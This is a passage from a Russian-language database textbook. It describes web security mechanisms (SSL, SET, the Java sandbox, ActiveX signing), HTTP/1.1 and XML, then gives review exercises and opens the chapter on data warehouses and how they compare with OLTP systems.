По сути, эти протоколы позволяют броузеру и серверу идентифицировать друг друга и защищенную информацию, которой они обмениваются. Благодаря использованию таких методов криптографии, как шифрование и цифровые подписи, эти протоколы обладают следующими возможностями:
позволяют броузеру и серверу идентифицировать друг друга;
позволяют владельцам Web-сайта контролировать доступ к отдельным серверам, каталогам, файлам и сервисам;
позволяют броузеру и серверу совместно использовать конфиденциальную информацию (например, номер кредитной карточки), обеспечивая ее недоступность для третьих лиц;
гарантируют надежность передачи данных между броузером и сервером (т.е. данные не могут быть незаметно от них случайно или намеренно повреждены).
Ключевым компонентом при установлении защищенных Web-сеансов с использованием протоколов SSL и S-HTTP является описанная выше цифровая подпись. Без сертификатов аутентичности и доверительности эти протоколы не могут предоставить никакой реальной защиты.
Протоколы Secure Electronic Transactions (SET) и Secure Transaction Technology (STT)
Протокол Secure Electronic Transactions (SET) является открытым стандартом обработки транзакций с кредитными карточками в сети Internet, который создан совместными усилиями специалистов компаний Netscape, Microsoft, Visa, Mastercard, GTE, SAIC, Terisa Systems и VeriSign. Этот стандарт предназначен для того, чтобы упростить и обезопасить обработку транзакций с кредитными карточками в сети Internet до такой степени, чтобы она выполнялась так же, как и в обычном магазине. Для обеспечения конфиденциальности транзакция рассекается таким образом, чтобы продавец получил доступ к информации о приобретаемых товарах, их стоимости, а также подтверждение об оплате, но без какого-либо доступа к информации об использованном покупателем методе оплаты. Аналогично, эмитент кредитной карточки (например, Visa) получает доступ к цене покупки, но не имеет никакой информации о характере торговой сделки.
В протоколе SET предполагается очень интенсивное использование сертификатов: для сертификации владельца карточки и факта соединения продавца с финансовым институтом. Этот механизм схематически показан на рис. 24.15 . Компании Microsoft и Visa International являются главными разработчиками спецификации SET; в настоящее время они разработали еще один протокол, получивший название Secure Transaction Technology (STT) и предназначенный для защищенного проведения банковских платежей в сети Internet. Для этого в протоколе STT используется DES-шифрование информации, RSA- шифрование сведений о банковской карточке, а также строгая идентификация всех сторон, участвующих в транзакции (см. главу 16, “Защита баз данных”).
Рис. 24.15. Схема выполнения SET-транзакции
Безопасность в среде Java
В разделе 24.7 язык Java был представлен как чрезвычайно важный язык разработки Web-приложений. Безопасность и защищенность являются неотъемлемыми элементами любого проекта в среде Java, в которой благодаря использованию концепции “песочницы” гарантируется запрет на доступ к системным ресурсам несанкционированного и, возможно, злонамеренного приложения. Для реализации концепции “песочницы” используются три компонента: загрузчик классов, верификатор байт-кода и менеджер защиты. Функции обеспечения безопасности предоставляются самим языком Java и виртуальной машиной Java Virtual Machine (JVM) и приводятся в действие компилятором и системой времени выполнения. Безопасность является основным требованием, которое определяет структуру всех уровней защиты.
Два компонента системы безопасности языка, которые обсуждались в разделе 24.7, относятся к строгому контролю типов и автоматической сборке мусора. В этом разделе рассматриваются два других компонента: загрузчик классов и верификатор байт-кода. Кроме того, здесь же будет дано описание менеджера защиты.
Загрузчик классов
Загрузчик классов, помимо загрузки каждого требуемого класса и проверки правильности его формата, осуществляет контроль за тем, чтобы приложение или аплет не нарушали системную безопасность, создавая собственное пространство имен. Пространства имен имеют иерархическую структуру и позволяют виртуальной машине Java группировать классы на основании их происхождения (локальное или удаленное). Загрузчик классов никогда не позволит классу из менее защищенного пространства
имен заменить класс из более защищенного пространства имен. Таким образом, примитивы ввода/вывода файловой системы, которые определены в локальном Java-классе, не могут быть вызваны или подменены классами, поступившими извне. В процессе функционирования виртуальная машина Java позволяет одновременно работать сразу нескольким загрузчикам классов, каждый из которых имеет свое собственное пространство имен. Поскольку броузеры и Java-приложения могут иметь свой собственный загрузчик классов, даже несмотря на то, что они построены по шаблону, рекомендованному фирмой Sun, эта особенность рассматривается как слабость данной модели обеспечения безопасности. Однако существует мнение, что это, наоборот, является достоинством языка, поскольку позволяет системным администраторам реализовать их собственные (предположительно более строгие) меры безопасности.
Верификатор байт-кода
Прежде чем виртуальная машина Java позволит запустить приложение или аплет, их код должен пройти верификацию. Верификатор предполагает, что любой код может разрушить или повредить систему безопасности, а потому выполняет ряд тестов, включая доказательство теоремы, чтобы убедиться в том, что это не так. При проведении типичных проверочных тестов должно быть установлено, что:
откомпилированный код имеет корректный формат;
внутренние стеки не переполняются и не истощаются;
не осуществляются недопустимые преобразования данных (например, от целочисленного типа к указателю), что позволяет предотвратить доступ переменных в запретные области памяти;
инструкции байт-кода имеют корректные типы;
все попытки доступа к членам класса являются корректными.
Менеджер защиты
Ограничения безопасности среды Java зависят от конкретного приложения. Например, Java-приложение, подобное Web-броузеру или Web-серверу с Java-функциями, определяет и реализует свой собственный уровень защиты. То есть, каждое такое приложение имеет свой собственный менеджер защиты. Например, Web-броузер с Java- функциями включает собственный менеджер защиты аплетов, а потому к любому аплету, полученному этим броузером из сети, будут применены все установленные ограничения. Обычно во время выполнения менеджер защиты выявляет потенциально “опасные” методы, т.е. методы, которые пытаются выполнять операции ввода/вывода, доступа в сети или определения нового загрузчика классов. Как правило, полученным из сети аплетам не разрешается выполнять приведенные ниже операции.
Чтение и запись файлов в клиентской файловой системе. Это также позволяет предотвратить сохранение аплетами постоянных данных (например, в базе данных) на стороне клиента, хотя данные могут быть посланы им обратно на сервер.
Создание сетевых подключений с компьютерами, отличными от компьютера, который предоставляет компилированные файлы классов (.class). Обычно это либо компьютер, на котором располагается данная HTML-страница, либо компьютер, указанный с помощью параметра CODEBASE в HTML-дескрипторе аплета, причем последний обладает большим приоритетом.
Запуск других программ на стороне клиента.
Загрузка библиотек.
Определение вызовов методов. Разрешение аплетам определять собственные вызовы методов может предоставить аплетам средство получения прямого доступа к базовой операционной системе.
Указанные ограничения относятся к аплетам, полученным из открытой сети Internet или корпоративной сети intranet. Но они не относятся к аплетам, которые находятся на локальном диске на стороне клиента и в каталоге, который указан с помощью параметра CLASSPATH. Локальные аплеты загружаются загрузчиком файловой системы. Помимо того, что они могут считывать и записывать файлы, они могут покидать виртуальную машину и избегать верификатора байт-кода. Аналогично, программа Appletviewer, входящая в пакет JDK (Java Development Kit), также слегка смягчает эти ограничения, разрешая пользователю определить явный список файлов, к которым могут осуществлять доступ полученные из сети аплеты. Сходным образом, в броузере Internet Explorer 4.0 фирмы Microsoft вводится понятие доверительных и недоверительных “зон”. Java-аплеты, загруженные из некоторых зон, могут считывать и записывать файлы на жесткий диск на стороне клиента. Зоны, для которых это возможно, определяются сетевыми администраторами.
Повышенная безопасность аплетов
Модель “песочницы” была введена еще в первом издании интерфейса Java-applet API в январе 1996 года. Хотя эта модель обычно защищает систему от недоверительно- го кода, полученного по сети, она все же не решает многих других проблем, связанных с обеспечением секретности и конфиденциальности. Для того чтобы убедиться в том, что данный аплет получен именно оттуда, откуда он объявляет себя поступившим, необходима аутентификация. Более того, аутентифицированные аплеты с цифровой подписью могут быть повышены в статусе — вплоть до доверительных аплетов, а потому они могут выполняться при менее строгих ограничениях безопасности.
. Интерфейс Java Security API, входящий в состав пакета JDK 1.1, содержит функции API для работы с цифровыми подписями и дайджестами сообщений, управления ключами, шифрования/дешифрования (в соответствии с принятыми в США правилами контроля за экспортом). Кроме того, в настоящее время ведется работа по определению инфраструктуры, которая позволила бы обеспечить гибкое управление уровнем ограничений безопасности подписанных аплетов.
Средства защиты в технологии ActiveX
Модель безопасности в технологии ActiveX полностью отличается от модели безопасности языка Java, В среде Java безопасность достигается за счет ограничения возможных действий аплетов до уровня использования лишь некоторого безопасного набора инструкций. Однако в технологии ActiveX на деятельность элемента управления вообще не накладывается никаких ограничений. Вместо этого каждый элемент управления ActiveX может быть помечен цифровой подписью автора с помощью специальной системы Authenticode™. Цифровые подписи затем сертифицируются одной из уполномоченных на это сертифицирующих организаций (Certificate Authority — СА). Такая схема защиты возлагает ответственность за поддержку режима безопасности компьютера на пользователя. Прежде чем броузер получит из сети элемент управления ActiveX, который не был подписан или был сертифицирован неизвестным СА, на экран будет выведено диалоговое окно с предупредительным сообщением о том, что подобное действие может быть опасным. В этом случае пользователь может либо отменить получение этого элемента управления, либо продолжить его получение со всеми вытекающими из этого последствиями.
24.12. Протокол НТТР/1.1 и языкХМк
В заключительной части этой главы рассматриваются две новые области, способные в ближайшем будущем оказать существенное влияние на процессы интеграции баз данных в среду Web: протокол НТТР/1.1 и язык XML.
НТТР/1.1
В разделе 24.1.2 уже был представлен протокол HTTP, определяющий способ взаимодействия серверов и клиентов через сеть Internet. Текущей версией стандарта на этот протокол, используемой в большей части существующих коммерческих HTTP-приложений, является версия HTTP/1.0 (RFC 1945). В этом разделе рассматриваются некоторые усовершенствования, предложенные в предварительном варианте стандарта НТТР/1.1 (RFC 2068).
Протокол НТТР/1.1 по-прежнему соответствует стандартной парадигме “запрос- ответ”, однако для обеспечения поддержки дополнительных функций исходный протокол был существенно расширен. Мы рассмотрим только некоторые из предложенных расширений, а более подробное описание предварительного варианта этого стандарта заинтересованный читатель сможет найти в предлагаемой литературе (W3C, 1998).
Постоянные соединения
Согласно протоколу HTTP/1.0, при каждом обращении клиента к серверу с очередным запросом должно устанавливаться новое соединение. При этом время, затрачиваемое на установку каждого соединения, может составлять значительную часть всего цикла взаимодействия. В протоколе НТТР/1.1 по умолчанию используются постоянные соединения, при установлении которых между клиентом и сервером связь поддерживается постоянно, а обмен многочисленными запросами и ответами продолжается до тех пор, пока данное соединение не будет явным образом закрыто одной из сторон. Когда соединение открыто, клиент может посылать синхронные и асинхронные сообщения, а сервер может надлежащим образом отвечать на них. Даже при наличии постоянного соединения протокол HTTP остается протоколом, не запоминающим текущего состояния, поскольку сервер в перерывах между поступлениями отдельных запросов не хранит никакой информации о них.
Аутентификация дайджеста
Согласно основным положениям об аутентификации протокола НТТР/1.0, пароль пользователя передается в сети открытым текстом. В протоколе НТТР/1.1 вместо этого осуществляется аутентификация дайджеста. В результате пароль остается скрытым и при пересылке его от клиента к серверу. Клиент и сервер должны вычислять значение дайджеста с помощью алгоритма MD5 (Message Digest 5), причем в вычислениях используются значение пароля и некоторая другая информация. Вычисленный дайджест пересылается по сети.
Язык extensible Markup Language (XML)
Как уже говорилось выше, одним из основных достоинств языка HTML является его простота, благодаря которой его может применять широкий круг пользователей. Однако именно эта простота иногда рассматривается как недостаток, поскольку многие пользователи хотели бы иметь дескрипторы, которые упростили бы некоторые операции и позволили сделать HTML-документы более привлекательными и динамичными. Для того чтобы удовлетворить эту потребность, для некоторых броузеров были созданы специальные дескрипторы, что только добавило проблем при создании сложных и в то же время широко доступных Web-документов. Для предотвращения такого разделения консорциум W3C начал работу над новым стандартом языка разметки, получившим название extensible Markup Language (XML), который смог бы сохранить прежнюю независимость от приложений, обеспечившую ранее переносимость и мощность языку HTML (W3C, 1998, г).
Язык XML является урезанной версией языка SGML, разработанной специально для создания Web-документов. Он позволяет разработчикам определять свои собственные дескрипторы, предназначенные для поддержки тех функций, которых нет в языке HTML. Например, в языке XML поддерживаются ссылки, которые указывают сразу на несколько документов, в отличие от языка HTML, где каждая ссылка может указывать только на одно место назначения.
Язык SGML позволяет логически разделять документ на две части: одна определяет структуру документа, а другая содержит непосредственно текст. Часть с определением
структуры называется определением типа документа (Document Type Definition — DTD). Благодаря возможности выделения описания структуры документа в отдельную часть и предоставлению пользователям возможности самим определять эту структуру, язык SGML можно считать чрезвычайно мощной системой управления документами. Однако язык SGML из-за присущей ему сложности все еще не получил широкого распространения.
В языке XML предпринята попытка обеспечить поддержку тех же функций, что и в языке SGML, но с использованием менее сложного языка разметки, который к тому же является сетевым. В языке XML также используется концепция DTD (используемая и в языке HTML), определяющая то, какие имена будут применяться для элементов структуры (например, <HEAD>, <TITLE>), где они могут встретиться (например, <TITLE> может находиться только внутри ограничителей <HEAD> </HEAD>), а также как они взаимодействуют друг с другом. Среди огромного числа полезных элементов языка XML особо стоит отметить следующие.
Определение схемы базы данных. Поскольку язык XML является стандартным методом описания структуры данных, он очень полезен для определения структуры неоднородных баз данных и источников данных. Возможность определения схемы для всей базы данных в целом потенциально позволяет с помощью языка XML извлекать содержимое схемы базы данных Oracle и преобразовывать его в схему базы данных Informix или Sybase.
Связывание родственных объектов или элементов. Пусть, например, в разделе документа содержится список некоторых элементов, тогда, вместо присвоения имени каждому элементу этого списка и создания для него гиперссылки, в XML достаточно будет сослаться на нужный элемент на основании его положения в списке (допустим, так: ID{имя^списка) CHILD(3)).
Поддержка двунаправленных ссылок. В этом случае один объект документа может ссылаться на другой, который, в свою очередь, содержит обратную ссылку на первый документ. Этот механизм позволит значительно сэкономить время и усилия по созданию корректно связанных друг с другом документов.
Замена языка HTML языком XML, выступающим в роли стандартной спецификации Web-формата, в значительной степени зависит от того, будет ли язык XML поддерживаться в будущих версиях броузеров. В настоящий момент среди разработчиков и учредителей нового языка (XML Editorial Board) числятся фирмы Microsoft, Sun, Novell, Hewlett-Packard и IBM. Интересно, что среди них нет фирмы Netscape, чья поддержка очень важна для полного признания этого нового стандарта. В то же время специалисты фирмы Microsoft заявляют, что язык XML будет полностью поддерживаться в будущей версии броузера Internet Explorer. С другой стороны, существенным преимуществом языка HTML является его простота, а миграция от языка HTML к языку XML означает, что это важное преимущество будет утрачено.
Резюме
Internet — это всемирное объединение взаимосвязанных компьютерных сетей. World Wide Web является гипертекстовой средой, функционирующей по типу “выбери ссылку и щелкни на ней”, которая предлагает простые средства поиска информации в сети Internet. Информация в среде Web хранится в виде документов, подготовленных с использованием языка HTML (HyperText Transfer Protocol).
В среде Web традиционная двухуровневая модель “клиент/сервер” заменена трехуровневой моделью, состоящей из уровня пользовательского интерфейса (клиент), уровня бизнес-логики и обработки данных (сервер приложения) и уровня СУБД (сервер баз данных), которые распределены между разными компьютерами.
Преимущества среды Web как платформы для приложений баз данных включают преимущества, предоставляемые самими СУБД, а также простоту реализации, платформенную независимость, наличие графического пользовательского интерфейса, высокую стандартизацию, поддержку межплатформенных взаимодействий, прозрачный сетевой доступ и простоту масштабируемости приложений. Недостатками являются невысокая надежность, недостаточная защищен-
ность, низкая производительность, высокая стоимость, плохая масштабируемость нагрузки, ограниченная функциональность языка HTML, отсутствие механизма запоминания состояния, недостаточная пропускная способность.
Спецификация Common Gateway Interface (CGI) регламентирует способы передачи данных между Web-сервером и CGI-сценарием. Интерфейс CGI представляет собой популярную технологию интеграции баз данных в среду Web. Основными преимуществами этого метода интеграции являются его простота, независимость от языка программирования, независимость от типа Web-сервера и высокая популярность. Среди недостатков следует отметить то, что для каждого нового CGI-сценария необходимо запускать отдельный серверный процесс, что приводит к перегруженности Web-серверов в часы пиковой нагрузки.
Альтернативными к интерфейсу CGI технологиями являются попытки расширения функций Web-сервера с помощью интерфейсов Netscape Server API (NSAPI) и Microsoft Internet Information Server API (ISAPI). При использовании этих API дополнительные функции связываются с процессом самого сервера. Хотя этот подход позволяет расширить функциональность и повысить производительность сервера, общий успех при его использовании в определенной степени зависит от корректности программирования расширений.
Язык Java — это простой, объектно-ориентированный, распределенный, интерпретируемый, надежный, безопасный, архитектурно-нейтральный, переносимый, высокопроизводительный, многопоточный и динамический язык разработки фирмы Sun Micorsystems. Java-приложения компилируются в байткод, который интерпретируется и выполняется виртуальной машиной Java Virtual Machine. Приложения на языке Java могут взаимодействовать с ODBC- совместимой СУБД с использованием различных механизмов: пакета JDBC, интерфейса JSQL или пакета Java Relational Binding (JRB).
Языки сценариев JavaScript и VBScript могут использоваться для расширения функций Web-броузера и Web-сервера. Языки сценариев позволяют создавать функции, встроенные в HTML-код. Программы могут иметь стандартную логику программирования, включая циклы, условные операторы и математические операторы.
Технология Active Server Pages использует дескрипторы, которые встраиваются в HTML-код и интерпретируются сервером, причем они могут включать объекты Active Data Objects (ADO), предназначенные для взаимодействия с ODBC-совместимой СУБД.
Архитектура Oracle Network Computing Architecture (NCA) основана на технологии CORBA 2.0 группы 0MG, в которой для организации взаимодействия между объектами используется протокол Internet Inter-ORB Protocol (ПОР). Эта архитектура состоит из подключаемых картриджей, которые позволяют разработчикам расширять возможности приложений за счет собственных дополнительных функций; используемых открытых протоколов и стандартизованных интерфейсов. Взаимодействие картриджей осуществляется посредством использования программной шины Inter-Cartridge exchange (ICX), а также расширяемых клиентов, серверов приложений и серверов баз данных. .
Безопасность работы в Web-среде может быть обеспечена с помощью проксисерверов, брандмауэров, цифровых подписей, цифровых сертификатов (выдаваемых уполномоченными для сертификации организациями), церберов, протоколов Secure Sockets Layer (SSL), Secure HTTP (S-HTTP), Secure Electronic Transactions (SET) и Secure Transaction Technology (STT).
Вопросы
Поясните смысл каждого из следующих терминов:
Internet, intranet и extranet;
WorldWideWeb;
HyperText Transfer Protocol (HTTP);
HyperText Markup Language (HTML);
Uniform Resource Locator (URL).
Сравните двухуровневую архитектуру “клиент/сервер” для традиционной СУБД с трехуровневой архитектурой “клиент/сервер”. Почему последняя более предпочтительна в среде Web?
Назовите преимущества и недостатки среды Web как платформы для создания приложений баз данных.
Сравните технологии с использованием интерфейса CGI и расширений сервера в отношении возможности их применения для интеграции баз данных в среду Web.
Поясните на примерах проблемы обеспечения безопасности, которые могут иметь место в среде Web. Какие существуют механизмы, позволяющие устранить эти проблемы?
Упражнения
Изучите функциональные возможности взаимодействия со средой Web, предоставляемые используемой вами СУБД. Сравните эти возможности с теми подходами, которые рассматриваются в разделах 24.3-24.10.
Изучите средства зашиты, предоставляемые Web-интерфейсом используемой вами СУБД. Сравните эти средства с теми механизмами, которые рассматриваются в разделе 24.11.
Используя один из подходов интеграции СУБД в среду Web, создайте ряд форм, отображающих таблицы базы данных учебного проекта DreamHome.
Продолжите работу, начатую в упр. 24.8, и обеспечьте возможность обновления содержимого таблиц базы данных непосредственно из Web-броузера.
Выполните упр. 24.8 и 24.9, но уже для базы данных учебного проекта Wellmeadows.
24.11. С помощью Web-броузера посетите следующие Web-сайты и оцените ценность
имеющейся там информации:
а)
W3C:
http://www.w3c.org
б)
Microsoft:
http://www.microsoft.com
в)
Oracle:
http://www.oracle.com
г)
Informix:
http://www.Informix.com
д)
IBM:
http://www.ibm.com
е)
Sybase:
http://www.Sybase.com
ж) JavaSoft:
http://www.javasoft.com
3)
Gemstone:
• http://www.gemstone.com
И)
Objectivity:
http://www.objectivity.com
Й)
Objectstore:
http://www.odi.com
К)
02 Technology: http://www.o2tech.com
л)
Poet:
http://www.poet.com
Предположим, что вам необходимо предоставить исполнительному директору компании DreamHome отчет о возможности осуществления доступа к базе данных приложения DreamHome из сети Internet. В этом отчете должны быть рассмотрены технические вопросы и возможные технические решения, указаны преимущества и недостатки данного подхода, а также освещены любые другие возможные проблемы. Отчет также должен содержать полностью обоснованное заключение по поводу осуществимости данного предложения для компании DreamHome.
В предыдущих главах уже говорилось о том, что системы управления базами данных насквозь пронизывают всю промышленность, причем доминирующим типом систем являются реляционные СУБД. Эти системы проектировались для управления большим потоком транзакций, каждая из которых сопровождалась внесением незначительных изменений в оперативные данные предприятия — т.е. в данные, которые предприятие обрабатывало в процессе своей повседневной деятельности. Системы подобного типа называются системами оперативной обработки транзакций, или OLTP- системами (Online Transaction Processing — OLTP). Размер баз данных для OLTP- систем может варьироваться от совсем малого, всего в несколько мегабайт, до среднего, порядка нескольких гигабайт, и дальше вплоть до очень большого, на уровне нескольких терабайт или даже петабайт.
Лицам, ответственным за принятие корпоративных решений, необходимо иметь доступ ко всем данным организации независимо от их расположения. Для выполнения полного анализа деятельности организации, определения ее бизнес-показателей, выяснения характеристик существующего спроса и тенденций его изменения необходимо иметь доступ не только к текущим данным, но и к ранее накопленным (историческим) данным. Для упрощения подобного анализа была разработана концепция хранилища данных (data warehouse). Предполагается, что такое хранилище содержит сведения, поступающие из самых разных источников данных, функционирующих под управлением разных операционных модулей, а также различные накопительные и сводные данные. Концепция хранилища данных базируется на усовершенствованной технологии баз данных и предусматривает специальные средства управления процессом хранения информации. Однако лицам, ответственным за принятие корпоративных решений, необходимо иметь мощные инструменты анализа накопленных данных. Основными средствами анализа в последние годы стали инструменты оперативной аналитической обработки (Online Analytical Processing — OLAP) и инструменты разработки данных (data mining), которые рассматриваются в главе 26, “OLAP и разработка данных”.
Структура этой главы
В разделе 25.1 дается краткое описание концепции хранилищ данных, их эволюции, а также потенциальных преимуществ и недостатков. В разделе 25.2 рассматриваются общая архитектура и основные компоненты хранилища данных. В разделе 25.3 представлены основные информационные потоки и процессы, имеющие место в хранилище данных, а в разделе 25.4 — используемые инструменты и технологии. В разделе 25.5 вводится понятие магазина данных, а также обсуждаются вопросы, связанные с разработкой и сопровождением магазинов данных. В разделе 25.6 обсуждаются методы проектирования базы данных, предназначенной для размещения хранилища и/или магазина данных, которые будут использоваться в системе поддержки принятия решений.
Введение в хранилища данных
В этом разделе описываются происхождение и эволюция концепции хранилищ данных, а также обсуждаются их основные преимущества. Затем дается перечень основных характеристик хранилищ данных в сравнении с системами оперативной обработки транзакций. Завершается данный раздел рассмотрением проблем, связанных с разработкой и сопровождением хранилищ данных.
Эволюция хранилищ данных
Начиная с 70-х годов организации были больше заинтересованы во вложении своих средств в новые компьютерные системы, чем в автоматизацию используемых ими бизнес-процессов. Это позволяло им повысить свою конкурентоспособность за счет развертывания систем, которые могли предоставить клиентам более эффективный и менее дорогостоящий набор сервисов. С тех пор организации накопили огромное количество информации, которая сохраняется в их оперативных базах данных. Однако
теперь, в связи с широким распространением систем поддержки принятия решений, организации стремятся сконцентрировать свое основное внимание на способах использования накопленных оперативных данных в этих системах, имея целью получить за счет этого дополнительный рост своей конкурентоспособности.
Прежние системы оперативной обработки проектировались без учета какой-либо поддержки подобных бизнес-требований, а потому преобразование обычных OLTP- систем в системы поддержки принятия решений оказалось чрезвычайно сложной задачей. Как правило, типичная организация имеет множество различных систем операционной обработки с перекрывающимися, а иногда и противоречивыми определениями, например с разными типами, выбранными для представления одних и тех же данных. Основной задачей организации является преобразование накопленных архивов данных в источник новых знаний, причем таким образом, чтобы пользователю было предоставлено единое интегрированное и консолидированное представление о данных организации. Концепция хранилища данных была задумана как технология, способная удовлетворить требования систем поддержки принятия решений и базирующаяся на информации, поступающей из нескольких различных источников оперативных данных.
Концепции хранилищ данных
Исходная концепция хранилища данных была предложена специалистами фирмы IBM в виде “информационного хранилища” и первоначально представлена ими как решение, обеспечивающее доступ к данным, накопленным в нереляционных системах. Предполагалось, что такое информационное хранилище позволит организациям использовать их архивы данных для эффективного решения бизнес-задач. Однако из- за чрезвычайной сложности и невысокой производительности подобных систем, созданных на начальных этапах, первые попытки создания информационных хранилищ в основном были отвергнуты. С тех пор к концепции хранилищ информации возвращались вновь и вновь, но только в последние годы потенциал технологии хранилищ данных стал рассматриваться как достаточно ценное и жизнеспособное решение. Наиболее упорным и удачливым сторонником технологии хранилищ данных оказался Билл Инмон (Bill Inmon), который за активное продвижение этой концепции был удостоен почетного титула “отца — основателя хранилищ данных”.
Хранилище Предметно-ориентированный, интегрированный, привязанный ко данных времени и неизменяемый набор данных, предназначенный для поддержки принятия решений.
В приведенном выше определении Инмона (Inmon, 1993) указанные характеристики данных понимаются следующим образом.
Предметная ориентированность. Хранилище данных организовано вокруг основных предметов (или субъектов) организации (например, клиенты, товары и продажи), а не вокруг прикладных областей деятельности (выписка счета клиенту, контроль товарных запасов и продажа товаров). Это свойство отражает необходимость хранения данных, предназначенных для поддержки принятия решений, а не обычных оперативно-прикладных данных.
Интегрированность. Смысл этой характеристики состоит в том, что оперативно-прикладные данные обычно поступают из разных источников, которые часто имеют несогласованное представление одних и тех же данных, например используют разный формат. Для предоставления пользователю единого обобщенного представления данных необходимо создать интегрированный источник, обеспечивающий согласованность хранимой информации.
Привязка ко времени. Данные в хранилище точны и корректны только в том случае, когда они привязаны к некоторому моменту или промежутку времени. Привязанность хранилища данных ко времени следует из большой длительности того периода, за который была накоплена сохраняемая в нем информация,
из явной или неявной связи временных отметок со всеми сохраняемыми данными, а также из того факта, что хранимая информация фактически представляет собой набор моментальных снимков состояния данных.
Неизменяемость. Это означает, что данные не обновляются в оперативном режиме, а лишь регулярно пополняются за счет информации из оперативных систем обработки. При этом новые данные никогда не заменяют прежние, а лишь дополняют их. Таким образом, база данных хранилища постоянно пополняется новыми данными, последовательно интегрируемыми с уже накопленной информацией.
Существует достаточно много определений хранилищ данных, причем наиболее ранние определения в основном отражают характеристики информации, содержащейся в хранилище. Более поздние версии расширяют диапазон определения хранилища данных, включая в него описание типа обработки данных, связанной с доступом к данным из исходных источников и далее вплоть до доставки данных лицам, ответственным за принятие решений (Anahory and Murray, 1997).
Каким бы ни было определение, конечной целью создания хранилища данных является интеграция корпоративных данных в едином репозитории, обращаясь к которому пользователи смогут составлять запросы, генерировать отчеты и выполнять анализ данных. Хранилище данных является рабочей средой для систем поддержки принятия решений, которая извлекает данные, хранимые в различных оперативных источниках, организует их и передает лицам, ответственным за принятие решений в данной организации. Подводя итог, можно сказать, что технология хранилищ данных — это технология управления данными и их анализа.
Преимущества технологии хранилищ данных
При успешной реализации хранилища данных в организации могут быть достигнуты определенные преимущества, которые обсуждаются ниже.
Потенциально высокая отдача от инвестиций
В случае применения данной технологии организации потребуется инвестировать значительные средства для того, чтобы гарантировать успешную реализацию проекта. В зависимости от используемых технических решений необходимая сумма инвестиций может варьироваться от 50 000 до 10 000 000 фунтов стерлингов. Однако по данным фирмы International Data Corporation (IDC) в 1996 году усредненная за 3 года прибыль на инвестированный капитал (ROI-прибыль — Return On Investment) в сфере хранилищ данных составила 401%, причем более 90% фирм, охваченных данных исследованием, имели ROI-прибыль свыше 40%, половина фирм — свыше 160%, а четверть фирм — свыше 600% (IDC, 1996).
Повышение конкурентоспособности
Огромные прибыли на инвестированный капитал фирм, которые успешно применили технологию хранилищ данных, стали доказательством существенного повышения конкурентоспособности, которое явилось прямым следствием применения данной технологии. Повышение конкурентоспособности достигается за счет того, что лица, ответственные за принятие решений в данной организации, получают доступ к ранее недоступной, неизвестной и никогда не использовавшейся информации, например о клиентах, тенденциях рынка и спросе.
Повышение эффективности труда лиц, ответственных за принятие решений
Технология хранилищ данных повышает эффективность труда лиц, ответственных за принятие решений в данной организации, — за счет создания интегрированной базы данных, состоящей из непротиворечивой, предметно-ориентированной и ох-
ватывающей обширный временной интервал информации. В этой базе данные, выбранные из нескольких, как правило, несовместимых между собой оперативных систем, интегрированы в форме, позволяющей получить единое, развернутое во времени представление о деятельности организации. Преобразуя исходные данные в осмысленную информацию, хранилище данных позволяет руководящему звену выполнять более содержательный, точный и согласованный анализ деятельности предприятия.
Сравнение OLTP-систем и хранилищ данных
СУБД, созданная для поддержки оперативной обработки транзакций (OLTP), обычно рассматривается как непригодная для организации хранилищ данных, поскольку к этим двум типам систем предъявляются совершенно разные требования. Например, OLTP-системы проектируются с целью обеспечения максимально интенсивной обработки фиксированных транзакций, тогда как хранилища данных — прежде всего для обработки единичных произвольных запросов (ad hoc query). В табл. 25.1 сравниваются основные характеристики типичных OLTP-систем и хранилищ данных (Singh, 1997).
Таблица 25.1. Сравнение основных характеристик типичной OLTP-системы и хранилища данных
OLTP-система
Хранилище данных
Содержит текущие данные
Хранит подробные сведения
Содержит исторические данные
Хранит подробные сведения, а также частично и значительно обобщенные данные
Данные являются динамическими
Повторяющийся способ обработки данных
Данные в основном являются статическими
Нерегламентированный, неструктурированный и эвристический способ обработки данных
Высокая интенсивность обработки транзакций Предсказуемый способ использования данных Предназначена для обработки транзакций Ориентирована на прикладные области Поддержка принятия повседневных решений Обслуживает большое количество работников исполнительного звена
Средняя и низкая интенсивность обработки транзакций Непредсказуемый способ использования данных Предназначена для проведения анализа Ориентирована на предметные области Поддержка принятия стратегических решений Обслуживает относительно малое количество работников руководящего звена
Организация обычно имеет несколько различных OLTP-систем, предназначенных для поддержки таких бизнес-процессов, как контроль товарных запасов, выписка счетов клиентам, продажа товаров. Эти системы генерируют оперативные данные, которые являются очень подробными, текущими и подверженными изменениям. OLTP-системы оптимизированы для интенсивной обработки транзакций, которые проектируются заранее, многократно повторяются и связаны преимущественно с обновлением данных. В соответствии с этими особенностями, данные в OLTP-системах организованы согласно требованиям конкретных бизнес-приложений и позволяют принимать повседневные решения большому количеству параллельно работающих пользователей-исполнителей.
В противоположность сказанному выше, в организации обычно имеется только одно хранилище данных, которое содержит исторические, подробные, обобщенные до определенной степени и практически неизменяемые данные (т.е. новые данные могут только добавляться). Хранилища данных предназначены для обработки относительно небольшого количества транзакций, которые имеют непредсказуемую природу и требуют ответа на произвольные, неструктурированные и эвристические запросы. Ин-
формация в хранилище данных организована в соответствии с требованиями возможных запросов и предназначена для поддержки принятия долговременных стратегических решений относительно небольшим количеством руководящих работников.
Хотя OLTP-системы и хранилища данных имеют совершенно разные характеристики и создаются для различных целей, все же они тесно связаны в том смысле, что OLTP-системы являются источником информации для хранилища данных. Основная проблема при организации этой связи заключается в том, что поступающие из OLTP- систем данные могут быть несогласованными, фрагментированными, подверженными изменениям, содержащими дубликаты или пропуски. Поэтому до помещения в хранилище данные должны быть “очищены”. Более подробно этот вид обработки рассматривается в разделе 25.3.1.
OLTP-системы не предназначены для получения быстрого ответа на произвольные запросы. Они также не используются для хранения устаревших исторических данных, которые требуются для анализа тенденций. OLTP-системы, в основном, поставляют огромное количество сырых данных, которые не так-то легко поддаются анализу. С помощью хранилищ данных можно получить ответы на запросы, более сложные, чем запросы с простейшими обобщениями типа следующего: “Какова средняя цена объектов недвижимости в крупнейших городах Великобритании?” Для хранилищ данных характерны совсем другие запросы, примеры которых приведены ниже.
Какие типы объектов недвижимости продаются по ценам выше средней цены объектов недвижимости в крупнейших городах Великобритании и как эти данные коррелируют с демографическими данными?
Какие три района в обслуживаемых городах были наиболее популярны с точки зрения аренды объектов недвижимости в 1997 году и как эти данные связаны с данными за предыдущих два года?
Какова месячная выручка от продажи объектов недвижимости в каждом отделении компании в сравнении с аналогичными показателями годичной давности?
Какая связь наблюдается между ежегодной выручкой в каждом отделении компании и общим количеством торговых агентов в каждом из этих отделений?
Проблемы хранилищ данных
